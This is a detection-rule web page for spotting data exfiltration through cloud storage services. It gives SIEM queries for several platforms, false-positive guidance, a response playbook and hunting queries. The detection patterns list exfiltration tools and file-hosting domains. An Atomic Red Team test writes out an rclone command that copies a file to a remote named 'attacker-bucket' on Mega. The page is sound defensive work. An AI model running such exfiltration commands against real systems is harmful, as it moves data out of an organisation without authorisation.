Which SIEM platforms have a THREAT-CloudStorage-DataExfil detection rule?

df00tech provides THREAT-CloudStorage-DataExfil (Data Exfiltration via Cloud Storage Services) detection queries for 7 SIEM platforms: Microsoft Sentinel / Defender, Splunk, Elastic Security (EQL), IBM QRadar (AQL), Sumo Logic CSE, Google Chronicle / SecOps, CrowdStrike LogScale (CQL).

What severity and confidence is the THREAT-CloudStorage-DataExfil detection?

The THREAT-CloudStorage-DataExfil detection is rated critical severity with high confidence.

What are common false positives for THREAT-CloudStorage-DataExfil?

Common false positives for THREAT-CloudStorage-DataExfil include: Legitimate rclone use by system administrators for cloud backup operations (should be documented and excluded by account name); Corporate AzCopy scripts synchronising data with legitimate company Azure storage accounts; Users with business accounts for Dropbox or Box uploading work files (OneDrive and Box are commonly used for business).

THREAT-CloudStorage-DataExfil

Data Exfiltration via Cloud Storage Services

Q: What data sources are required to detect Data Exfiltration via Cloud Storage Services (THREAT-CloudStorage-DataExfil)?

Detecting Data Exfiltration via Cloud Storage Services requires the following data sources: Microsoft Defender for Endpoint (DeviceProcessEvents, DeviceNetworkEvents), Sysmon Event ID 1, 3, Proxy/web gateway logs, Network flow data (NetFlow/IPFIX).

Exfiltration Last updated: April 24, 2026

Exfiltration of corporate data to attacker-controlled cloud storage is a dominant technique in double-extortion ransomware campaigns and espionage operations. Adversaries use legitimate cloud storage services (Mega, Dropbox, OneDrive, Box, Google Drive, rclone, AzCopy, ShareFile) to blend exfiltration traffic with normal business activity, bypassing egress monitoring that blocks unknown C2 IPs. Scattered Spider used Mega for SMB data exfiltration before ransomware deployment in 2024-2025. Akira and Black Basta affiliates use rclone with SFTP/cloud backends. Lazarus Group favors Dropbox and Google Drive. Key indicators: rclone.exe or azcopy.exe execution with external cloud endpoints, large outbound data transfers to cloud storage IPs, WinSCP or FileZilla used for bulk data staging, and PowerShell Invoke-WebRequest with cloud storage URLs. Detection opportunity exists in the staging phase (file collection before transfer) and the transfer phase (network and process telemetry).

What is THREAT-CloudStorage-DataExfil Data Exfiltration via Cloud Storage Services?

Data Exfiltration via Cloud Storage Services (THREAT-CloudStorage-DataExfil) maps to the Exfiltration tactic — the adversary is trying to steal data in MITRE ATT&CK.

This page provides production-ready detection logic for Data Exfiltration via Cloud Storage Services, covering the data sources and telemetry it touches: Microsoft Defender for Endpoint (DeviceProcessEvents, DeviceNetworkEvents), Sysmon Event ID 1, 3, Proxy/web gateway logs, Network flow data (NetFlow/IPFIX). The queries below are rated critical severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic: Exfiltration

Microsoft Sentinel / Defender

kusto

// THREAT: Data Exfiltration via Cloud Storage
// Detects use of rclone, AzCopy, and cloud storage APIs for data exfiltration

// Alert 1: rclone execution (major exfiltration tool for ransomware groups)
let RcloneIndicators = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName =~ "rclone.exe"
    or ProcessCommandLine has_any ("rclone", "rclone.exe")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
    InitiatingProcessFileName, FolderPath
| extend ThreatType = "Exfil_Rclone"
| extend RiskScore = 85;
// Alert 2: AzCopy with external Azure storage accounts
let AzCopyExternal = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName =~ "azcopy.exe" or FileName =~ "azcopy"
| where ProcessCommandLine has_any (
    "blob.core.windows.net", "file.core.windows.net",
    "queue.core.windows.net"
  )
// Exclude known corporate storage accounts
| where ProcessCommandLine !has "<YOUR_CORPORATE_STORAGE_ACCOUNT>"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| extend ThreatType = "Exfil_AzCopy_External"
| extend RiskScore = 80;
// Alert 3: Large data upload to cloud storage (network telemetry)
DeviceNetworkEvents
| where Timestamp > ago(24h)
| where ActionType =~ "ConnectionSuccess"
| where RemoteUrl has_any (
    "mega.nz", "mega.io",
    "dropbox.com", "dropboxapi.com",
    "box.com", "box.net",
    "onedrive.live.com", "1drv.ms",
    "sharefile.com", "drive.google.com",
    "sendspace.com", "filebin.net",
    "transfer.sh", "gofile.io", "anonfiles.com"
  ) or RemoteUrl matches regex @"[a-z0-9]{5,}\.blob\.core\.windows\.net"
| summarize
    Connections=count(),
    BytesSent=sum(SentBytes),
    Domains=make_set(RemoteUrl)
  by DeviceName, AccountName, InitiatingProcessFileName, bin(Timestamp, 1h)
| where BytesSent > 100000000  // 100MB threshold
| extend ThreatType = "Exfil_LargeCloudUpload"
| extend RiskScore = 70;
union RcloneIndicators, AzCopyExternal
| sort by RiskScore desc, Timestamp desc

Three-vector cloud exfiltration detection: (1) rclone.exe execution — the primary exfiltration tool documented in Akira, Black Basta, and Scattered Spider campaigns; (2) AzCopy with external Azure storage account URLs — attackers stage data in attacker-controlled Azure Blob storage; (3) large data uploads (>100MB/hour) to known file hosting and consumer cloud storage services. All three are SMB-relevant double-extortion indicators.

critical severity high confidence

Data Sources

Microsoft Defender for Endpoint (DeviceProcessEvents, DeviceNetworkEvents) Sysmon Event ID 1, 3 Proxy/web gateway logs Network flow data (NetFlow/IPFIX)

Required Tables

DeviceProcessEvents DeviceNetworkEvents

False Positives

Legitimate rclone use by system administrators for cloud backup operations (should be documented and excluded by account name)
Corporate AzCopy scripts synchronising data with legitimate company Azure storage accounts
Users with business accounts for Dropbox or Box uploading work files (OneDrive and Box are commonly used for business)
Large legitimate data transfers to authorised cloud archival storage

Elastic Security (EQL)

eql

process where event.type == "start" and
(
  process.name : "rclone.exe"
  or (
    process.name : "azcopy.exe" and
    process.command_line : ("*blob.core.windows.net*", "*file.core.windows.net*", "*queue.core.windows.net*")
  )
  or (
    process.name : ("curl.exe", "powershell.exe", "pwsh.exe", "wscript.exe", "cscript.exe") and
    process.command_line : (
      "*mega.nz*", "*mega.io*", "*dropbox.com*", "*dropboxapi.com*",
      "*transfer.sh*", "*gofile.io*", "*box.com*", "*box.net*",
      "*drive.google.com*", "*onedrive.live.com*", "*sharefile.com*",
      "*sendspace.com*", "*filebin.net*", "*anonfiles.com*"
    )
  )
)

Detects data exfiltration via cloud storage tools using Elastic ECS process events. Alerts on rclone.exe execution (primary ransomware exfil tool used by Scattered Spider, Akira, Black Basta), AzCopy targeting external Azure Blob/File storage endpoints, and PowerShell or curl invocations referencing known cloud storage and anonymous file-sharing domains. Maps to MITRE T1567.002.

high severity high confidence

Data Sources

Elastic Endpoint Security Elastic Agent (Endpoint Integration) Winlogbeat with Sysmon

Required Tables

logs-endpoint.events.process-* winlogbeat-*

False Positives

Authorized IT data migrations: infrastructure teams running rclone for approved cloud storage migrations between providers — verify with change management tickets, whitelist specific service account process.user.name values, and correlate against known maintenance windows
Azure DevOps or CI/CD pipelines: AzCopy invoked by pipeline agents deploying static assets to Azure Blob Storage — add corporate Azure storage account FQDNs to the exclusion list in process.command_line and filter on known build agent hostnames via host.name
Sanctioned SaaS file sharing: end users on corporate-approved Dropbox Business or Box Enterprise accounts syncing files in bulk — tune alerts to flag only personal or unregistered accounts and supplement with volume thresholds from network events

IBM QRadar (AQL)

sql

SELECT
    DATEFORMAT(starttime, 'YYYY-MM-dd HH:mm:ss') AS EventTime,
    hostname AS Hostname,
    username AS User,
    "Process Name" AS ProcessName,
    "Command Line" AS CommandLine,
    LOGSOURCETYPENAME(logsourceid) AS LogSourceType,
    CATEGORYNAME(category) AS EventCategory,
    CASE
        WHEN LOWER("Process Name") LIKE '%rclone.exe%' THEN 85
        WHEN LOWER("Process Name") LIKE '%azcopy.exe%' THEN 80
        ELSE 70
    END AS RiskScore,
    CASE
        WHEN LOWER("Process Name") LIKE '%rclone.exe%' THEN 'Exfil_Rclone'
        WHEN LOWER("Process Name") LIKE '%azcopy.exe%' THEN 'Exfil_AzCopy'
        ELSE 'Exfil_CloudStorage'
    END AS ThreatType
FROM events
WHERE LOGSOURCETYPENAME(logsourceid) IN ('Microsoft Windows Security Event Log', 'Sysmon')
  AND (
    LOWER("Process Name") LIKE '%rclone.exe%'
    OR (
        LOWER("Process Name") LIKE '%azcopy.exe%'
        AND (
            LOWER("Command Line") LIKE '%blob.core.windows.net%'
            OR LOWER("Command Line") LIKE '%file.core.windows.net%'
            OR LOWER("Command Line") LIKE '%queue.core.windows.net%'
        )
    )
    OR (
        (
            LOWER("Process Name") LIKE '%powershell.exe%'
            OR LOWER("Process Name") LIKE '%pwsh.exe%'
            OR LOWER("Process Name") LIKE '%curl.exe%'
            OR LOWER("Process Name") LIKE '%wscript.exe%'
        )
        AND (
            LOWER("Command Line") LIKE '%mega.nz%'
            OR LOWER("Command Line") LIKE '%mega.io%'
            OR LOWER("Command Line") LIKE '%dropbox.com%'
            OR LOWER("Command Line") LIKE '%dropboxapi.com%'
            OR LOWER("Command Line") LIKE '%transfer.sh%'
            OR LOWER("Command Line") LIKE '%gofile.io%'
            OR LOWER("Command Line") LIKE '%box.com%'
            OR LOWER("Command Line") LIKE '%box.net%'
            OR LOWER("Command Line") LIKE '%drive.google.com%'
            OR LOWER("Command Line") LIKE '%onedrive.live.com%'
            OR LOWER("Command Line") LIKE '%sharefile.com%'
            OR LOWER("Command Line") LIKE '%sendspace.com%'
            OR LOWER("Command Line") LIKE '%filebin.net%'
            OR LOWER("Command Line") LIKE '%anonfiles.com%'
        )
    )
  )
  AND starttime > NOW() - 86400000
ORDER BY RiskScore DESC, starttime DESC
LIMIT 500

QRadar AQL query detecting cloud storage data exfiltration by monitoring process creation events from Windows Security Event Log and Sysmon log sources. Identifies rclone.exe execution (risk 85), AzCopy targeting external Azure storage endpoints (risk 80), and scripting engines (PowerShell, curl) referencing known cloud storage and anonymous file-sharing domains (risk 70). Requires WinCollect or a Universal DSM configured to extract the 'Process Name' and 'Command Line' custom event properties.

high severity high confidence

Data Sources

IBM QRadar SIEM Microsoft Windows Security Event Log (via WinCollect) Sysmon Events (via WinCollect or Universal DSM)

Required Tables

events

False Positives

Approved cloud migration projects: IT operations teams running rclone under authorized service accounts for scheduled data migrations — validate against open ITSM change records, whitelist the specific service account usernames in a QRadar reference set, and add a building-block exclusion rule
Azure CI/CD pipeline agents: AzCopy executed by Azure DevOps or Jenkins build agents for deploying artifacts to corporate-owned Azure Blob Storage — populate a QRadar reference set with authorized Azure storage account FQDNs and exclude matching Command Line values from the alert rule
Corporate sanctioned SaaS: employees syncing files via Dropbox Business or Box Enterprise as approved productivity tools — suppress by cross-referencing the Process Name with a QRadar reference table of approved sync client executables and alert only on volume outliers

Sumo Logic CSE

sql

(_sourceCategory="windows/sysmon" OR _sourceCategory="endpoint/windows/sysmon") EventCode=1
| where (Image matches "*rclone.exe")
    OR (Image matches "*azcopy.exe" AND (
        CommandLine matches "*blob.core.windows.net*"
        OR CommandLine matches "*file.core.windows.net*"
        OR CommandLine matches "*queue.core.windows.net*"
    ))
    OR (
        (Image matches "*powershell.exe" OR Image matches "*pwsh.exe"
            OR Image matches "*curl.exe" OR Image matches "*wscript.exe")
        AND (
            CommandLine matches "*mega.nz*"
            OR CommandLine matches "*mega.io*"
            OR CommandLine matches "*dropbox.com*"
            OR CommandLine matches "*dropboxapi.com*"
            OR CommandLine matches "*transfer.sh*"
            OR CommandLine matches "*gofile.io*"
            OR CommandLine matches "*box.com*"
            OR CommandLine matches "*box.net*"
            OR CommandLine matches "*drive.google.com*"
            OR CommandLine matches "*onedrive.live.com*"
            OR CommandLine matches "*sharefile.com*"
            OR CommandLine matches "*sendspace.com*"
            OR CommandLine matches "*filebin.net*"
            OR CommandLine matches "*anonfiles.com*"
        )
    )
| eval ThreatType = if(Image matches "*rclone*", "Exfil_Rclone",
    if(Image matches "*azcopy*", "Exfil_AzCopy", "Exfil_CloudStorage"))
| eval RiskScore = if(ThreatType == "Exfil_Rclone", 85,
    if(ThreatType == "Exfil_AzCopy", 80, 70))
| stats count AS Events, values(CommandLine) AS CommandLines, max(RiskScore) AS MaxRisk
    BY ComputerName, User, Image, ThreatType
| sort BY MaxRisk desc

Sumo Logic search query detecting cloud storage data exfiltration via Windows Sysmon process creation events (Event ID 1). Detects rclone.exe execution (Scattered Spider, Akira TTP), AzCopy with external Azure Blob/File storage endpoints, and PowerShell or curl invocations referencing cloud storage and anonymous upload services. Aggregates by host and user to surface repeated or campaign-level activity within the search window.

high severity high confidence

Data Sources

Sumo Logic Cloud SIEM Windows Sysmon (via Sumo Logic Installed Collector) Sumo Logic Endpoint Source

Required Tables

_sourceCategory=windows/sysmon

False Positives

Approved IT backup or archival jobs: rclone scheduled tasks run under a service account for authorized cloud-to-cloud archival — suppress by adding the backup service account username to a Sumo Logic lookup table and filtering it from results with a join or where clause
Development and test environments: AzCopy used interactively by developers targeting Azure dev/staging storage accounts — maintain a Sumo Logic lookup of non-production storage account subdomains and exclude matching CommandLine values to avoid alert fatigue
Sanctioned cloud productivity tools: corporate Dropbox Business or Box Enterprise background sync processes generating recurring process creation events — baseline per-user event frequency with a timeslice comparison and alert only on deviations of 3x or more above the 30-day average

Google Chronicle / SecOps

yaral

rule cloud_storage_data_exfiltration {
  meta:
    author = "df00tech"
    description = "Detects data exfiltration via rclone, AzCopy, and cloud storage API abuse from scripting engines"
    severity = "HIGH"
    mitre_attack_tactic = "Exfiltration"
    mitre_attack_technique = "T1567.002"
    threat_actors = "Scattered Spider, Akira, Black Basta, Lazarus"
    reference = "https://attack.mitre.org/techniques/T1567/002/"

  events:
    $e.metadata.event_type = "PROCESS_LAUNCH"
    (
      re.regex($e.target.process.file.full_path, `(?i)rclone\.exe`)
      or (
        re.regex($e.target.process.file.full_path, `(?i)azcopy\.exe`)
        and re.regex($e.target.process.command_line, `(?i)(blob|file|queue)\.core\.windows\.net`)
      )
      or (
        re.regex($e.target.process.file.full_path, `(?i)(powershell|pwsh|curl|wscript|cscript)\.exe`)
        and re.regex($e.target.process.command_line, `(?i)(mega\.nz|mega\.io|dropbox\.com|dropboxapi\.com|transfer\.sh|gofile\.io|box\.com|box\.net|drive\.google\.com|onedrive\.live\.com|sharefile\.com|sendspace\.com|filebin\.net|anonfiles\.com)`)
      )
    )
    $hostname = $e.principal.hostname

  condition:
    $e
}

Chronicle YARA-L 2.0 rule matching PROCESS_LAUNCH UDM events to detect cloud storage data exfiltration. Fires on rclone.exe execution (no command-line filter required — any execution is high-fidelity), AzCopy invocations targeting external Azure storage endpoints, and PowerShell, curl, or script host processes with cloud storage or anonymous upload service domain references in the command line. Covers documented TTPs for Scattered Spider (Mega), Akira and Black Basta (rclone), and Lazarus Group (Dropbox, Google Drive).

high severity high confidence

Data Sources

Google Chronicle SIEM Chronicle UDM (Unified Data Model) Chronicle Forwarder (Windows Events) Google Cloud Endpoint Agent

Required Tables

UDM Events (PROCESS_LAUNCH)

False Positives

Authorized cloud-to-cloud migrations: IT teams using rclone under approved service accounts for scheduled data migrations — maintain a Chronicle reference list of authorized migration service account principal.user.userid values and add a NOT $e.principal.user.userid in %authorized_migration_accounts exclusion to the events block
Azure infrastructure automation: operations or platform engineering teams running AzCopy for Blob Storage management tasks — build a Chronicle reference list of corporate Azure storage account FQDNs and add NOT re.regex($e.target.process.command_line, %corp_storage_accounts) to suppress known-good invocations
Sanctioned enterprise file-sharing clients: Google Drive, OneDrive, or Dropbox for Business background sync processes running under standard user accounts — supplement the rule with a condition block counting events per principal.hostname over a time window and tuning on volume rather than presence to avoid suppressing legitimate single-event occurrences

CrowdStrike LogScale (CQL)

cql

#event_simpleName=ProcessRollup2
| ImageFileName=/(?i)rclone\.exe$/
  OR (ImageFileName=/(?i)azcopy\.exe$/ AND CommandLine=/(?i)(blob|file|queue)\.core\.windows\.net/)
  OR (ImageFileName=/(?i)(powershell|pwsh|curl|wscript|cscript)\.exe$/
      AND CommandLine=/(?i)(mega\.nz|mega\.io|dropbox\.com|dropboxapi\.com|transfer\.sh|gofile\.io|box\.com|box\.net|drive\.google\.com|onedrive\.live\.com|sharefile\.com|sendspace\.com|filebin\.net|anonfiles\.com)/)
| ThreatType := case {
    ImageFileName=/(?i)rclone/ => "Exfil_Rclone";
    ImageFileName=/(?i)azcopy/ => "Exfil_AzCopy";
    * => "Exfil_CloudStorage"
  }
| RiskScore := case {
    ThreatType = "Exfil_Rclone" => 85;
    ThreatType = "Exfil_AzCopy" => 80;
    * => 70
  }
| groupBy(
    [ComputerName, UserName, ImageFileName, ThreatType],
    function=[
      count(as=EventCount),
      max(field=RiskScore, as=MaxRisk),
      collect(CommandLine, limit=10)
    ]
  )
| sort(field=MaxRisk, order=desc)

CrowdStrike LogScale (Falcon) detection query using ProcessRollup2 endpoint telemetry to identify cloud storage data exfiltration. Matches rclone.exe execution (high-fidelity indicator used by Akira, Black Basta, and Scattered Spider affiliates), AzCopy with external Azure storage account URLs, and PowerShell or curl commands referencing cloud storage and anonymous upload domains. Aggregates by host, user, and threat type to expose campaign-level activity and surfaces the top 10 distinct command lines per group for analyst review.

high severity high confidence

Data Sources

CrowdStrike Falcon Endpoint Protection CrowdStrike LogScale Falcon ProcessRollup2 Telemetry

Required Tables

ProcessRollup2

False Positives

Authorized data migration service accounts: infrastructure teams running rclone under named service accounts for approved cloud migrations — tag the source hosts with a Falcon host group (e.g., 'authorized-migration-hosts') and add a NOT ComputerName in authorized_migration_hosts filter before the groupBy to suppress known-good systems
Azure DevOps or GitHub Actions build agents: AzCopy executed by CI/CD runners for artifact deployment to Azure Blob Storage — use Falcon host tags to identify pipeline runner systems and exclude their ComputerName values, while retaining events in a lower-priority audit groupBy for compliance logging
Desktop sync client background processes: Dropbox, Box, or OneDrive sync daemons spawning curl or PowerShell subprocesses for authentication and sync operations — inspect the ParentBaseFileName field to distinguish sync daemon child processes from user-initiated or script-driven executions, and add ParentBaseFileName NOT IN ('Dropbox.exe', 'Box.exe', 'OneDrive.exe') to the filter

Sigma rule & cross-platform mapping

The detection logic for Data Exfiltration via Cloud Storage Services (THREAT-CloudStorage-DataExfil) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:

SigmaHQ rules for THREAT-CloudStorage-DataExfil Sigma rules on detection.fyi

Platform-specific guides for THREAT-CloudStorage-DataExfil

Detect in Microsoft Sentinel (KQL) Detect in Splunk (SPL) Detect in Elastic Security (Elastic) Detect in IBM QRadar (QRadar) Detect in Sumo Logic CSE (Sumo) Detect in Google Chronicle (YARA-L) Detect in CrowdStrike LogScale (LogScale)

Last updated: 2026-04-24 Research depth: deep

References (3)

Testing Methodology

Validate this detection against 1 adversary technique from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

Test 1Simulate Cloud Exfiltration via rclone to Mega
Expected signal: Sysmon Event ID 1: rclone.exe with copy command targeting mega remote. Sysmon Event ID 3: network connection to mega.co.nz or api.mega.co.nz.

Response Playbook

Triage

If rclone is detected: rclone.exe has no legitimate end-user purpose on standard workstations. Any execution outside of an IT-documented backup process should be treated as active exfiltration.
Review the rclone command line for the target remote (e.g., rclone copy C:\share remote:bucket) — this tells you what data was targeted and where it went.
For AzCopy with external storage accounts: determine if the target storage account name is a corporate account or attacker-controlled. Check Azure Activity logs for recent storage account creation.
Estimate data volume: check network flow logs for total bytes sent to the external destination during the alert window.
Identify how rclone arrived on the system: file creation event for rclone.exe, browser download history, SMB copy from another internal host.

Containment

Isolate the affected host via EDR immediately if active exfiltration is detected.
Block the exfiltration destination at the firewall: rclone targets (mega.nz, etc.) or the specific Azure storage blob URL.
Attempt to delete the uploaded data: if Mega or similar service was used, contact them with a law enforcement or data subject request. For attacker-controlled Azure blob storage, the data cannot be retrieved.
Identify the scope of exfiltrated data: which files/directories were included in the rclone copy command? This determines GDPR/data breach notification obligations.
Notify data protection officer/legal team if sensitive personal data (GDPR Article 33) or customer data was exfiltrated — breach notification obligations may apply.

Evidence Collection

rclone.exe command line: target directories, remote configuration, transfer parameters
Network flow logs: bytes transferred, destination IP, duration
rclone config file (typically %APPDATA%\rclone\rclone.conf): contains remote credentials
Sysmon Event ID 3: network connections from rclone to exfiltration endpoint
File access logs: which files were accessed/read before the exfiltration

Escalation Criteria

! Data exfiltration confirmed (rclone executed and network transfer observed) — double-extortion ransomware scenario
! Sensitive data directories included in rclone copy (HR, Finance, Legal, Engineering source code)
! GDPR-relevant personal data (customer records, employee data) confirmed in exfiltrated scope
! Evidence of exfiltration followed by ransomware staging indicators on same host or other hosts

Investigation Guide

Forensic Artifacts

> rclone.conf: attacker remote configuration with credentials and target bucket
> rclone.exe binary: hash for attribution, metadata for provenance
> Windows Prefetch: RCLONE.EXE-*.pf with execution timestamps
> rclone log file (if --log-file parameter was used): full transfer log
> Network PCAP (if available): actual file data transferred to confirm scope

Tuning Guidance

rclone.exe execution on workstations is almost never legitimate — create an alert with no threshold (any occurrence triggers). For AzCopy, build an allowlist of corporate Azure storage account names and alert on any AzCopy operations targeting accounts not in the list. For network-based detection, proxy logs are often more reliable than DNS/flow data for cloud storage domain matching. If your organisation legitimately uses Dropbox or Box for business, exclude those domains but create alerts for the specific large-transfer scenarios (>100MB/hour). Block or alert on mega.nz, gofile.io, transfer.sh, and anonfiles.com at the web proxy as these have no legitimate business use in most SMBs.

Hunting Queries

Hunt for any connections to known file hosting and exfiltration sites over the past 30 days — establish a baseline of what, if any, cloud storage connections are expected in your environment.

Hunting — KQL

kql

DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has_any ("mega.nz", "mega.io", "dropbox.com", "gofile.io", "transfer.sh", "sendspace.com")
| summarize
    Hits=count(),
    TotalBytesSent=sum(SentBytes),
    Processes=make_set(InitiatingProcessFileName),
    Days=dcount(bin(Timestamp, 1d))
  by DeviceName, AccountName, RemoteUrl
| sort by TotalBytesSent desc

Hunting — SPL

spl

index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
  (DestinationHostname="*mega.nz*" OR DestinationHostname="*dropbox.com*" OR
   DestinationHostname="*gofile.io*" OR DestinationHostname="*transfer.sh*")
| stats count AS Conns, sum(DestinationIp) AS IPs BY host, User, Image, DestinationHostname
| sort - Conns

Atomic Red Team Tests

Test 1 Simulate Cloud Exfiltration via rclone to Mega

windows

Uses rclone to copy test files to a Mega cloud storage account, simulating the exfiltration technique used by Akira and Black Basta ransomware operators. Test files should be non-sensitive dummy data.

Command

powershell

echo 'Test exfiltration data' > C:\Temp\exfil_test.txt && rclone.exe copy C:\Temp\exfil_test.txt mega:attacker-bucket --config C:\Temp\rclone_test.conf

Cleanup

powershell

Remove-Item C:\Temp\exfil_test.txt, C:\Temp\rclone_test.conf -Force -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1: rclone.exe with copy command targeting mega remote. Sysmon Event ID 3: network connection to mega.co.nz or api.mega.co.nz.

Expected Detection

Alert fires on rclone.exe execution (RiskScore=85) and network connection to mega.nz. Both indicators trigger simultaneously.

Related Detections

Tactic Hub

TA0010Exfiltration

Detection Variants (1)

Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.

THREAT-Exfiltration-M365AnonymousShareLinksData Exfiltration via Anonymous SharePoint/OneDrive Sharing LinksUse when data never leaves Microsoft 365 — anonymous SharePoint/OneDrive share links, visible only in the Unified Audit Log, not EDR or proxy logs.

Parent Technique

T1567.002Exfiltration to Cloud Storage

Related Techniques

T1567.002Exfiltration to Cloud Storage T1048Exfiltration Over Alternative Protocol T1005Data from Local System T1039Data from Network Shared Drive T1486Data Encrypted for Impact

What is THREAT-CloudStorage-DataExfil Data Exfiltration via Cloud Storage Services?

MITRE ATT&CK

Data Sources

Required Tables

False Positives

Data Sources

Required Sourcetypes

False Positives

Data Sources

Required Tables

False Positives

Data Sources

Required Tables

False Positives

Data Sources

Required Tables

False Positives

Data Sources

Required Tables

False Positives

Data Sources

Required Tables

False Positives

Sigma rule & cross-platform mapping

Platform-specific guides for THREAT-CloudStorage-DataExfil

Testing Methodology

Response Playbook

Triage

Containment

Evidence Collection

Escalation Criteria

Investigation Guide

Forensic Artifacts

Tuning Guidance

Hunting Queries

Atomic Red Team Tests

Command

Cleanup

Expected Telemetry

Expected Detection

Related Detections

Tactic Hub

Detection Variants (1)

Parent Technique

Related Techniques

Same Tactic: Exfiltration

Popular Detections

Get new detections in your inbox